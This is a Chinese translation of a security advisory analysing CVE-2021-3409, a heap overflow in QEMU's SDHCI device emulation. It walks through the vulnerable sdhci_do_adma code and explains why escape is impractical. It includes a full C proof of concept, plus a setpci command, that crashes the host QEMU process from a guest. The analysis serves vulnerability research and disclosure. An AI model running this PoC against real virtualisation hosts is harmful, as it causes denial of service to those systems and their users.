QEMU 的 SDHCI 组件中堆溢出漏洞利用分析(CVE-2021-3409)
2021-05-13 10:58:10 Author: www.4hou.com(查看原文) 阅读量:186 收藏

0x01 漏洞描述

漏洞编号为CVE-2021-3409,漏洞影响版本:QEMU版本低于5.2.50,产品网址:https://www.qemu.org/

QEMU版本5.2.50容易受到此漏洞的攻击,一旦成功利用该漏洞,可能导致敏感信息的泄露,数据的添加或修改或拒绝服务(DoS)。

0x02 技术细节

SDHCI是安全数字主机控制器接口。Secure Digital是SD协会(SDA)为便携式设备开发的专有非易失性存储卡格式。QEMU中的SDHCI代码是基于SD技术委员会SD协会的SD主机控制器规范Ver2.0的SD控制器仿真实现。

下图包含SDHCI设备的寄存器,通过写入一些寄存器,我们可以与该设备进行交互。

21-3409_Fig1.png

图1: SDHCI寄存器

此易受攻击的代码位于QEMU代码的SDHCI组件中。当在中间数据传输期间或未完成的数据传输期间更改 blksize/block 大小(块缓冲区的大小)时,就会发生此漏洞,我们可以通过写入0x4寄存器的偏移量来进行更改blksize。将数据存储在块缓冲区的当前偏移量中时,代码计算漏洞。块缓冲区的当前偏移量存储在data_count变量中。尝试继续向/从块缓冲区传输数据时,数据长度计算为blksize - data_count,该长度用于填充块缓冲区,但是由于在传输过程中blksize可以更改,例如可以修改成“ 0”,并且不会清除data_count , 计算blksize - data_count 可能会溢出,此计算将使传输具有较大的大小(例如0xfffffe01-0xffffffff),并且此长度显然会使堆溢出到块缓冲区或从块缓冲区溢出。

该漏洞位于sdhci_do_adma函数中。sdhci_do_adma是一个用于处理host系统内存中sdhci和DMA缓冲区之间数据传输的函数。

/* Advanced DMA data transfer */
static void sdhci_do_adma(SDHCIState *s)
{
   unsigned int begin, length;
   const uint16_t block_size = s->blksize & BLOCK_SIZE_MASK;
   ADMADescr dscr = {};
   int i;
   ...
   for (i = 0; i < SDHC_ADMA_DESCS_PER_DELAY; ++i) {
       s->admaerr &= ~SDHC_ADMAERR_LENGTH_MISMATCH;

       get_adma_description(s, &dscr);
       ...
       length = dscr.length ? dscr.length : 64 * KiB;

       switch (dscr.attr & SDHC_ADMA_ATTR_ACT_MASK) {
       case SDHC_ADMA_ATTR_ACT_TRAN:  /* data transfer */
           if (s->trnmod & SDHC_TRNS_READ) {
               while (length) {
                   ...
                   begin = s->data_count;
                   if ((length + begin) < block_size) {
                       s->data_count = length + begin;
                       length = 0;
                    } else {
                       s->data_count = block_size;
                       length -= block_size - begin;
                   }
                   dma_memory_write(s->dma_as, dscr.addr,
                                    &s->fifo_buffer[begin],
                                    s->data_count - begin);
                   dscr.addr += s->data_count - begin;
                   ...
               }
           } else {
               ...
           }
           ...
       ...
       }
       ...
       /* ADMA transfer terminates if blkcnt == 0 or by END attribute */
       if (((s->trnmod & SDHC_TRNS_BLK_CNT_EN) &&
                   (s->blkcnt == 0)) || (dscr.attr & SDHC_ADMA_ATTR_END)) {
           ...
           sdhci_end_transfer(s);
           return;
       }

   }
   /* we have unfinished business - reschedule to continue ADMA */
   timer_mod(s->transfer_timer,
                  qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL) + SDHC_TRANSFER_DELAY);
}

此函数将根据adma描述向DMA传输或从DMA传输,Adma描述由get_adma_description给出,并将存储在desc变量中。

static void get_adma_description(SDHCIState *s, ADMADescr *dscr)
{
   uint32_t adma1 = 0;
   uint64_t adma2 = 0;
   hwaddr entry_addr = (hwaddr)s->admasysaddr;
   switch (SDHC_DMA_TYPE(s->hostctl1)) {
   case SDHC_CTRL_ADMA2_32:
       dma_memory_read(s->dma_as, entry_addr, &adma2, sizeof(adma2));
       adma2 = le64_to_cpu(adma2);
       /* The spec does not specify endianness of descriptor table.
        * We currently assume that it is LE.
        */
       dscr->addr = (hwaddr)extract64(adma2, 32, 32) & ~0x3ull;
       dscr->length = (uint16_t)extract64(adma2, 16, 16);
       dscr->attr = (uint8_t)extract64(adma2, 0, 7);
       dscr->incr = 8;
       break;
   case SDHC_CTRL_ADMA1_32:
       dma_memory_read(s->dma_as, entry_addr, &adma1, sizeof(adma1));
       adma1 = le32_to_cpu(adma1);
       dscr->addr = (hwaddr)(adma1 & 0xFFFFF000);
       dscr->attr = (uint8_t)extract32(adma1, 0, 7);
       dscr->incr = 4;
       if ((dscr->attr & SDHC_ADMA_ATTR_ACT_MASK) == SDHC_ADMA_ATTR_SET_LEN) {
           dscr->length = (uint16_t)extract32(adma1, 12, 16);
       } else {
           dscr->length = 4 * KiB;
       }
       break;
   case SDHC_CTRL_ADMA2_64:
       dma_memory_read(s->dma_as, entry_addr, &dscr->attr, 1);
       dma_memory_read(s->dma_as, entry_addr + 2, &dscr->length, 2);
       dscr->length = le16_to_cpu(dscr->length);
       dma_memory_read(s->dma_as, entry_addr + 4, &dscr->addr, 8);
       dscr->addr = le64_to_cpu(dscr->addr);
       dscr->attr &= (uint8_t) ~0xC0;
       dscr->incr = 12;
       break;
   }
}

这里有一个不同的ADMA版本,可以通过编写hostctl寄存器来控制。在这种情况下,我们只能将SDHC_CTRL_ADMA2_32和SDHC_CTRL_ADMA1_32用于SDHC_CTRL_ADMA2_64中的代码。不支持此QEMU设备将DMA类型设置为SDHC_CTRL_ADMA2_64。稍后我们将对此进行重新讨论,在这种情况下,我们将使用ADMA2_32。

ADMA描述了我们要操作的物理内存地址,长度和属性,例如从缓冲区到系统内存的读/写操作。SDHCI将使用admasysaddr中定义的地址从物理内存中读取ADMA描述。我们可以通过将地址值写入offset 0x58中的ADMA系统地址寄存器来控制它。

21-3409_Fig2.png

图2: ADMA描述符图

以后,ADMA描述将用作数据传输的信息。例如,以下代码用于将数据从系统内存传输到设备。通过将SDHC_ADMA_ATTR_ACT_TRAN设置为某些值,在该块中还可以将数据从设备传输到系统内存,如果要向系统内存传输数据,可以设置trnmod寄存器。

       switch (dscr.attr & SDHC_ADMA_ATTR_ACT_MASK) {
       case SDHC_ADMA_ATTR_ACT_TRAN:  /* data transfer */
           if (s->trnmod & SDHC_TRNS_READ) {
               while (length) {
                   if (s->data_count == 0) {
                       sdbus_read_data(&s->sdbus, s->fifo_buffer, block_size); // fill the buffer from sd
                   }
                   begin = s->data_count;
                   if ((length + begin) < block_size) {
                       s->data_count = length + begin; // [1]
                       length = 0;
                    } else {
                       s->data_count = block_size;
                       length -= block_size - begin;
                   }
                   dma_memory_write(s->dma_as, dscr.addr,
                                    &s->fifo_buffer[begin],
                                    s->data_count - begin); // [2]
                   dscr.addr += s->data_count - begin;
                   if (s->data_count == block_size) {
                       s->data_count = 0; // [3]
                       if (s->trnmod & SDHC_TRNS_BLK_CNT_EN) {
                           s->blkcnt--;
                           if (s->blkcnt == 0) {
                               break;
                           }
                       }
                   }
               }
           }
          else {
               ...
          }

上面的代码将通过DMA将数据从设备传输到系统内存。该代码将在length非零时循环,并将通过dma_memory_write逐块传输。它将传输&s->fifo_buffer[begin]到dscr.addr,并用length描述的系统内存s->data_count-begin。当s->blkcnt为零或长度为零时,此循环结束,但是我们可以通过取消设置中定义的s->blkcnt位来使SDHC_TRNS_BLK_CNT_EN无效。

该循环完成后,我们可以通过执行最后一个循环s->data_count来执行代码[1],而不会执行[3]处的代码。

下面的代码将在数据传输循环之后执行。

       /* ADMA transfer terminates if blkcnt == 0 or by END attribute */
       if (((s->trnmod & SDHC_TRNS_BLK_CNT_EN) &&
                   (s->blkcnt == 0)) || (dscr.attr & SDHC_ADMA_ATTR_END))      
       {
           trace_sdhci_adma_transfer_completed();
           ...
           sdhci_end_transfer(s);
           return;
       }

   }

   /* we have unfinished business - reschedule to continue ADMA */
   timer_mod(s->transfer_timer,
                  qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL) + SDHC_TRANSFER_DELAY);

如果s->blkcnt值为零或ADMA描述具有END属性,则进行检查,否则我们的传输未完成,将重新安排以继续进行ADMA传输,它将sdhci_do_adma在将来再次执行。

稍后,我们可以将块大小寄存器更改为零,然后sdhci_do_adma再次继续执行。之后,将再次执行与我之前解释的相同的代码。下面的以下易受攻击的代码将触发该漏洞。

                   begin = s->data_count;
                   if ((length + begin) < block_size) {
                       s->data_count = length + begin;
                       length = 0;
                    } else {
                       s->data_count = block_size; // [1]
                       length -= block_size - begin;
                   }
                   dma_memory_write(s->dma_as, dscr.addr,
                                    &s->fifo_buffer[begin],
                                    s->data_count - begin); // [2]
                   dscr.addr += s->data_count - begin;

在这里,我们知道s->data_count来自先前未完成的传输,并且该值不为零,并将其存储到begin变量中。然后else块将被执行,并分配s->data_count有block_size。随后,dma_memory_write的长度为s->data_count- begin,因为s->data_count是零(即来自block_size),如果不为零就会出现溢出。因此,我们有堆溢出读取,它将传输fifo_buffer到系统内存。

另一方面,我们可以通过控制对此代码的执行来进行堆溢出写入,如下所示。

} else {
               while (length) {
                   begin = s->data_count;
                   if ((length + begin) < block_size) {
                       s->data_count = length + begin;
                       length = 0;
                    } else {
                       s->data_count = block_size;
                       length -= block_size - begin;
                   }
                   dma_memory_read(s->dma_as, dscr.addr,
                                   &s->fifo_buffer[begin],
                                   s->data_count - begin);
                   dscr.addr += s->data_count - begin;
                   if (s->data_count == block_size) {
                       sdbus_write_data(&s->sdbus, s->fifo_buffer, block_size);
                       s->data_count = 0;
                       if (s->trnmod & SDHC_TRNS_BLK_CNT_EN) {
                           s->blkcnt--;
                           if (s->blkcnt == 0) {
                               break;
                           }
                       }
                   }
               }
           }

这与之前的代码相似,但是它将fifo_buffer通过DMA从系统内存转移到DMA,这意味着存在堆溢出写入fifo_buffer;

利用堆溢出漏洞的一般思路通常是通过覆盖堆中一些有趣的数据,例如指针,函数指针以获取远程代码执行或其他可以帮助我们进行进一步利用的值。

要触发此漏洞,我们需要直接执行该sdhci_do_adma函数,但在设置一些寄存器(如传输模式,块大小和主机控制寄存器)之前,需要先执行该函数。我们也需要与设备通信。在这种情况下,我们可以通过写入设备的PCI地址进行通信,以将我们的值写入物理内存地址。

要知道地址在哪里,请在host操作系统中使用lspci -v命令。输出中有SD Host Controller的lspci -v描述,我们可以在0xfebf1000处看到它包含一个内存位置。因此,如果我们想在某个偏移量处写入寄存器,则将从偏移量0在0xfebf1000处开始,偏移量n在0xfebf1000+n处开始。

21-3409_Fig3.png

我们将需要读写内存到物理内存中的0xfebf1000基址,以与设备进行交互。要读取和写入物理内存地址,我们可以使用Linux guest虚拟机中的mmap syscall通过/ dev / mem映射物理地址。下面的代码说明了如何通过/ dev / mem映射设备。

#define SDHCI_ADDR 0xfebf1000
#define SDHCI_SIZE 256
unsigned char* sdhci_map = NULL;
int fd;
void* devmap( size_t offset, size_t size)
{
   void* result = mmap( NULL, size, PROT_READ | PROT_WRITE, MAP_FILE|MAP_SHARED, fd, offset );
   if ( result == (void*)(-1) ) {
       perror( "mmap" );
   }
   return result;
}
int main( int argc, char **argv ) {
   fd = open( "/dev/mem", O_RDWR | O_SYNC );
   if ( fd == -1 ) {
       perror( "open /dev/mem" );
       return 0;
   }
   sdhci_map = devmap(SDHCI_ADDR, SDHCI_SIZE);
   printf("success %p\n", sdhci_map);
   ...
}

首先,打开/ dev / mem以获取存储在fd变量中的文件描述符,然后将fd变量用作mmap中的第四个参数。该函数devmap用于通过/ dev / mem映射物理地址。要将SDHCI地址映射到0xfebf1000,将地址作为第一个参数传递,然后使用256作为mmap的大小,因为SDHCI寄存器的大小为256。此后,我们仅通过存储在其中的指针sdhci_map对存储器进行读写与设备交互的变量。

要触发漏洞利用代码,我们需要设置几个寄存器。按照规范,我将电源控制设置为0x3b,并将主机控制寄存器设置0xd7为启用高级DMA。之后,我们设置块大小寄存器和传输模式寄存器,这里我们将传输模式寄存器设置为0x21,执行从设备存储器到系统存储器的读取操作。按照规范,我们可以编写命令寄存器来触发数据传输并最终调用漏洞所在的sdhci_do_adma位置。

static void
sdhci_write(void *opaque, hwaddr offset, uint64_t val, unsigned size)
{
   SDHCIState *s = (SDHCIState *)opaque;
   unsigned shift =  8 * (offset & 0x3);
   uint32_t mask = ~(((1ULL << (size * 8)) - 1) << shift);
   uint32_t value = val;
   value capareg & R_SDHC_CAPAB_SDMA_MASK)) {
           value &= ~SDHC_TRNS_DMA;
       }
       MASKED_WRITE(s->trnmod, mask, value & SDHC_TRNMOD_MASK);
       MASKED_WRITE(s->cmdreg, mask >> 16, value >> 16);

       /* Writing to the upper byte of CMDREG triggers SD command generation */
       if ((mask & 0xFF000000) || !sdhci_can_issue_command(s)) {
           break;
       }

       sdhci_send_command(s);
       break;
     …
}

sdhci_write函数是处理对SDHCI寄存器的每次写存储操作的函数。如果我们写命令寄存器的高字节,它将通过以上代码触发sdhci_send_command。

static void sdhci_send_command(SDHCIState *s)
{
   SDRequest request;
   uint8_t response[16];
   int rlen;

   s->errintsts = 0;
   s->acmd12errsts = 0;
   request.cmd = s->cmdreg >> 8;
   request.arg = s->argument;
   sdhci_update_irq(s);
   ...
   if (s->blksize && (s->cmdreg & SDHC_CMD_DATA_PRESENT)) {
       s->data_count = 0;
       sdhci_data_transfer(s);
   }
}

上面的代码,sdhci_send_command将调用sdhci_data_transfer以执行数据传输。

/* Perform data transfer according to controller configuration */

static void sdhci_data_transfer(void *opaque)
{
   SDHCIState *s = (SDHCIState *)opaque;

   if (s->trnmod & SDHC_TRNS_DMA) {
       switch (SDHC_DMA_TYPE(s->hostctl1)) {
       ...
       case SDHC_CTRL_ADMA2_32:
           if (!(s->capareg & R_SDHC_CAPAB_ADMA2_MASK)) {
               trace_sdhci_error("ADMA2 not supported");
               break;
           }
           sdhci_do_adma(s);
           break;
        ...
   }
   ...
}

通过控制传输模式和主机控制寄存器,我们可以将执行定向到sdhci_do_adma。

在将sdhci_do_adma要在设备和系统内存之间传输数据的过程中,我们将在传输完成后进行操作,然后设备将调用sdhci_data_transfer(将sdhci_do_adma再次调用)以在将来继续传输。在继续传输之前,我们将块大小寄存器设置为零,以触发sdhci_do_adma函数中下一次传输中的漏洞。

SDHCI寄存器中的每个读和写操作将由sdhci_write和sdhci_read操作处理。这些函数将检查是否有未完成的传输,它将通过调用sdhci_resume_pending_transfer继续传输。

static void
sdhci_write(void *opaque, hwaddr offset, uint64_t val, unsigned size)
{
   SDHCIState *s = (SDHCIState *)opaque;
   unsigned shift =  8 * (offset & 0x3);
   uint32_t mask = ~(((1ULL << (size * 8)) - 1) << shift);
   uint32_t value = val;
   value <transfer_timer)) {
       sdhci_resume_pending_transfer(s);
   }
   ...
}

sdhci_resume_pending_transfer调用sdhci_data_transfer后将再次调用sdhci_do_adma。

static void sdhci_resume_pending_transfer(SDHCIState *s)
{
   timer_del(s->transfer_timer);
   sdhci_data_transfer(s);
}

在此之前,我们需要存储ADMA描述,并将ADMA描述的地址存储到SDHCI寄存器中的ADMA系统地址寄存器中。为简化起见,我将ADMA描述结构写入物理地址0,然后将0值写入SDCHI寄存器中的ADMA系统地址寄存器。

void writeb(unsigned char* mem, int idx, unsigned char val) {
   mem[idx] = val;
}

void writew(unsigned char* mem, int idx, unsigned short val) {
   *((unsigned short*)&mem[idx]) = val;
}

void writel(unsigned char* mem, int idx, unsigned int val) {
   *((unsigned int*)&mem[idx]) = val;
}

void writeq(unsigned char* mem, int idx, unsigned long val) {
   *((unsigned long*)&mem[idx]) = val;
}
int main( int argc, char **argv ) {
   fd = open( "/dev/mem", O_RDWR | O_SYNC );
   if ( fd == -1 ) {
       perror( "open /dev/mem" );
       return 0;
   }
   unsigned char* page = devmap(MEM_ADDR, MEM_SIZE);
   printf("success %p\n", page);
   memset(page, 0, 1024);
   writeb(page, 0x00, 0x29); // SDHC_ADMA_ATTR_ACT_TRAN
   writeb(page, 0x02, 0x10);
   writel(page, 0x04, MEM_ADDR); 
   writeb(page, 0x08, 0x39); // SDHC_ADMA_ATTR_ACT_LINK
   writel(page, 0xc, MEM_ADDR);
   ...
   writeq(sdhci_map, 0x58, MEM_ADDR); // system adma address
   ...
}

在这里,我们创建两个ADMA描述。每个描述的0x8大小都会描述物理内存中用于数据传输或指向另一个ADMA描述结构的属性,长度和缓冲区地址。

对于第一次传输,它将使用地址0的ADAM描述,我使用SDHC_ADMA_ATTR_ACT_TRAN设置了ADMA描述,该描述用于数据传输。第一次传输后,ADMA系统地址寄存器将加8,以指向下一个ADMA描述结构。在这里,我建立了一个ADMA描述结构,SDHC_ADMA_ATTR_ACT_LINK其属性为,地址为0,使用此属性,ADMA系统地址将再次存储为地址0。在这种情况下,我们简化了操作,因此不需要创建一个ADMA描述结构。一堆ADMA描述符,我们在一个循环中创建一个ADMA描述。

因此,sdhci_do_adma将被调用三遍:第一次传输它只需要填充data_count变量即可。其次,sdhci_do_adma将再次调用sdhci_resume_pending_transfer。同时,它将block size寄存器写入0。第三次,sdhci_do_adma将由再次调用sdhci_resume_pending_transfer,此处ADMA描述存储在地址 0x00处,存储在地址0x00的ADMA描述地址将执行数据传输,因为data_count先前的传输已填充并且块大小为零,然后将触发漏洞。

/* Advanced DMA data transfer */

static void sdhci_do_adma(SDHCIState *s)
{
   unsigned int begin, length;
   const uint16_t block_size = s->blksize & BLOCK_SIZE_MASK;
   ADMADescr dscr = {};
   int i;
   ...
      switch (dscr.attr & SDHC_ADMA_ATTR_ACT_MASK) {
       case SDHC_ADMA_ATTR_ACT_TRAN:  /* data transfer */
           if (s->trnmod & SDHC_TRNS_READ) {

                   begin = s->data_count;
                   if ((length + begin) < block_size) {
                       s->data_count = length + begin;
                       length = 0;
                    } else {
                       s->data_count = block_size; // [1]
                       length -= block_size - begin;
                   }
                   dma_memory_write(s->dma_as, dscr.addr,
                                    &s->fifo_buffer[begin],
                                    s->data_count - begin); // [1]
                   dscr.addr += s->data_count - begin; 
/* Advanced DMA data transfer */

static void sdhci_do_adma(SDHCIState *s)
{
       switch (dscr.attr & SDHC_ADMA_ATTR_ACT_MASK) {
       case SDHC_ADMA_ATTR_ACT_TRAN:  /* data transfer */
           ...
           s->admasysaddr += dscr.incr;
           break;
       case SDHC_ADMA_ATTR_ACT_LINK:   /* link to next descriptor table */
           s->admasysaddr = dscr.addr;
           trace_sdhci_adma("link", s->admasysaddr);
           break;
         ...
         }
      ...
}

下面是触发该漏洞的最终利用代码,如果我们在host Linux上运行,它将导致QEMU分段漏洞和崩溃。在运行此代码之前,我们需要通过使用以下命令在SDHCI中启用主控位来激活DMA传输:sudo setpci -s 00:04.0 4.B=7,00:04.0是PCI设备号,4.B=7用于激活总线主控位。

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#define SDHCI_ADDR 0xfebf1000
#define SDHCI_SIZE 256
#define MEM_ADDR 0x00000000
#define MEM_SIZE (4096)

unsigned char* sdhci_map = NULL;
int fd;

void* devmap( size_t offset, size_t size)
{
   void* result = mmap( NULL, size, PROT_READ | PROT_WRITE, MAP_FILE|MAP_SHARED, fd, offset );
   if ( result == (void*)(-1) ) {
       perror( "mmap" );
   }
   return result;
}

void writeb(unsigned char* mem, int idx, unsigned char val) {
   mem[idx] = val;
}

void writew(unsigned char* mem, int idx, unsigned short val) {
   *((unsigned short*)&mem[idx]) = val;
}

void writel(unsigned char* mem, int idx, unsigned int val) {
   *((unsigned int*)&mem[idx]) = val;
}

void writeq(unsigned char* mem, int idx, unsigned long val) {
   *((unsigned long*)&mem[idx]) = val;
}

int main( int argc, char **argv ) {
   fd = open( "/dev/mem", O_RDWR | O_SYNC );
   if ( fd == -1 ) {
       perror( "open /dev/mem" );
       return 0;
   }
   unsigned char* page = devmap(MEM_ADDR, MEM_SIZE);
   printf("success %p\n", page);
   memset(page, 0, 1024);
   writeb(page, 0x00, 0x29); // SDHC_ADMA_ATTR_ACT_TRAN
   writeb(page, 0x02, 0x10);
   writel(page, 0x04, MEM_ADDR);
   writeb(page, 0x08, 0x39); // SDHC_ADMA_ATTR_ACT_LINK
   writel(page, 0xc, MEM_ADDR);
   getchar();
   sdhci_map = devmap(SDHCI_ADDR, SDHCI_SIZE);
   printf("success %p\n", sdhci_map);
   writew(sdhci_map, 0x28, 0x3bd7); // power and host control
   writeb(sdhci_map, 0x05, 0x2c); // block size
   writeb(sdhci_map, 0x0c, 0x21); // transfer mode = SDHC_TRNS_READ
  writeq(sdhci_map, 0x58, MEM_ADDR); // system adma address

   writew(sdhci_map, 0x0e, 0x846e); // command
   writew(sdhci_map, 0x04, 0x0000); // block size
   writew(sdhci_map, 0x08, 0x0); // argument 0, write anything just need to resume the transfer.
   getchar();
   close( fd );
}
// sudo setpci -s 00:04.0 4.B=7 && gcc -o new new.c && sudo ./new

图3:触发漏洞的PoC

21-3409_Fig4.png

图4:崩溃的QEMU

21-3409_Fig5.png图5:当崩溃发生时的QEMU堆栈跟踪信息

如果我们查看堆栈跟踪,就会看到崩溃来自sdhci_do_adma,并且我们将len传递给dma_memory_read了一个有意义的数字(0xffffff80)。

我们尝试RCE利用此漏洞,但事实证明此漏洞不太可能被利用,因为我们无法完全控制溢出长度。

如果我们可以控制溢出长度,则可以轻松地快速进行越界读取和写入。在这种情况下,我们无法完全控制溢出的长度。我们可以将要传递的dma_memory_read/write长度设置为: 0xfffffe01-0xffffffff,因此我们必须几乎覆盖并读取几乎4GB的内存。

static void sdhci_do_adma(SDHCIState *s)
{
   unsigned int begin, length;
   const uint16_t block_size = s->blksize & BLOCK_SIZE_MASK;
   ...
          length = dscr.length ? dscr.length : 64 * KiB;
          ...
               while (length) {
                   if (s->data_count == 0) {
                       sdbus_read_data(&s->sdbus, s->fifo_buffer, block_size);
                   }
                   begin = s->data_count;
                   if ((length + begin) < block_size) {
                       s->data_count = length + begin;
                       length = 0;
                    } else {
                       s->data_count = block_size;
                       length -= block_size - begin;
                   }
                   dma_memory_write(s->dma_as, dscr.addr,
                                    &s->fifo_buffer[begin],
                                    s->data_count - begin);
                   dscr.addr += s->data_count - begin;
                   if (s->data_count == block_size) {
                       s->data_count = 0;
                       if (s->trnmod & SDHC_TRNS_BLK_CNT_EN) {
                           s->blkcnt--;
                           if (s->blkcnt == 0) {
                               break;
                           }
                       }
                   }
               }
    ...
}

长度为16位大小,因为它来自dscr.length16位大小,但存储在unsigned int中。该设备具有经过充分检查的块大小寄存器(我在此处未显示的代码),因此该block_size变量永远不会大于0x200,并且会影响该data_count变量,该变量的值永远不会比0x200更大。因此,此代码没有另一个整数溢出可以控制将要传递给dma_memory_read/write的长度,我们只有一个限制,即将传递的长度(第三个参数dma_memory_write/read,而不是长度变量)控制在0xfffffe01-0xffffffff之间。

由于存在这一限制,我们需要在进行传输时对堆进行堆喷以使其增长,直到堆足够大为止,因此,由于不会访问未映射的内存,因此传输不会出现段漏洞。然后,我们需要在系统内存中创建一个4GB的缓冲区,以存储有效负载,该缓冲区将用于从Qemu堆读取4GB数据以检索信息泄漏,在泄漏之后,我们执行写入操作以将4GB数据写入到堆中。系统内存中的4GB缓冲区必须在物理上是连续的,因为我们通过DMA读写操作与设备进行物理通信。这几乎是不可能的,因为即使我们编写内核驱动程序来执行操作,随机访问内存的行为也很难向内核请求4GB的物理连续内存。在Linux中,有一种方法可以通过设置内核引导参数来保留内存位置。

假设我们可以在内核中分配物理上连续的内存,因为我们有一个大的RAM来完成它,这仍然是不可能的,因为我们只有32位的ADMA,这意味着我们不能将缓冲区存储在4GB以上的地址中,因为SDHCI设备在这个Qemu代码中不支持它。我们无法在4GB地址以下存储缓冲区,因为内核,BIOS或内存映射的I / O使用了大量保留内存,这可能会使hostOS不稳定崩溃。你可以在下图中看到有关Linux OS的信息,我们认为其他操作系统也是类似情况。

21-3409_Fig6.png

图6: dmesg命令显示4GB地址以下的保留内存

下面的代码支持64位ADMA。可以看到,我们可以通过设置主机控制寄存器来使用64位ADMA

static void get_adma_description(SDHCIState *s, ADMADescr *dscr)
{
   uint32_t adma1 = 0;
   uint64_t adma2 = 0;
   hwaddr entry_addr = (hwaddr)s->admasysaddr;
   switch (SDHC_DMA_TYPE(s->hostctl1)) {
   ...
   case SDHC_CTRL_ADMA2_64:
       dma_memory_read(s->dma_as, entry_addr, &dscr->attr, 1);
       dma_memory_read(s->dma_as, entry_addr + 2, &dscr->length, 2);
       dscr->length = le16_to_cpu(dscr->length);
       dma_memory_read(s->dma_as, entry_addr + 4, &dscr->addr, 8);
       dscr->addr = le64_to_cpu(dscr->addr);
       dscr->attr &= (uint8_t) ~0xC0;
       dscr->incr = 12;
       break;
   }
}

当我们将通过函数中的检查函数寄存器执行64位ADMA时,还有另一种检查,该检查sdhci_data_transfer将调用sdhci_do_adma验证是否正确。

/* Perform data transfer according to controller configuration */
static void sdhci_data_transfer(void *opaque)
{
   SDHCIState *s = (SDHCIState *)opaque;

   if (s->trnmod & SDHC_TRNS_DMA) {
       switch (SDHC_DMA_TYPE(s->hostctl1)) {
       ...
       case SDHC_CTRL_ADMA2_64:
           if (!(s->capareg & R_SDHC_CAPAB_ADMA2_MASK) ||
                   !(s->capareg & R_SDHC_CAPAB_BUS64BIT_MASK)) {
               trace_sdhci_error("64 bit ADMA not supported");
               break;
           }

           sdhci_do_adma(s);
           Break;
    ...
}

函数寄存器是只读寄存器,用于存储有关主机控制器的信息。函数寄存器值由sdhci_internal.h中定义的某个常量设置为默认值。

/*
* Default SD/MMC host controller features information, which will be
* presented in CAPABILITIES register of generic SD host controller at reset.
*
* support:
* - 3.3v and 1.8v voltages
* - SDMA/ADMA1/ADMA2
* - high-speed
* max host controller R/W buffers size: 512B
* max clock frequency for SDclock: 52 MHz
* timeout clock frequency: 52 MHz
*
* does not support:
* - 3.0v voltage
* - 64-bit system bus
* - suspend/resume
*/

从函数寄存器中,R_SDHC_CAPAB_BUS64BIT_MASK未设置的位值,该设备不支持64位ADMA寄存器,因此这意味着我们无法在4GB以上的物理内存中建立缓冲区。在这种限制和条件下,我们无法使用此漏洞执行像虚拟机逃逸之类的高危利用。我们只能进行DOS漏洞利用,可以导致QEMU崩溃并退出。

本文翻译自:https://starlabs.sg/advisories/21-3409/如若转载,请注明原文地址:


文章来源: https://www.4hou.com/posts/Rknw
如有侵权请联系:admin#unsafe.sh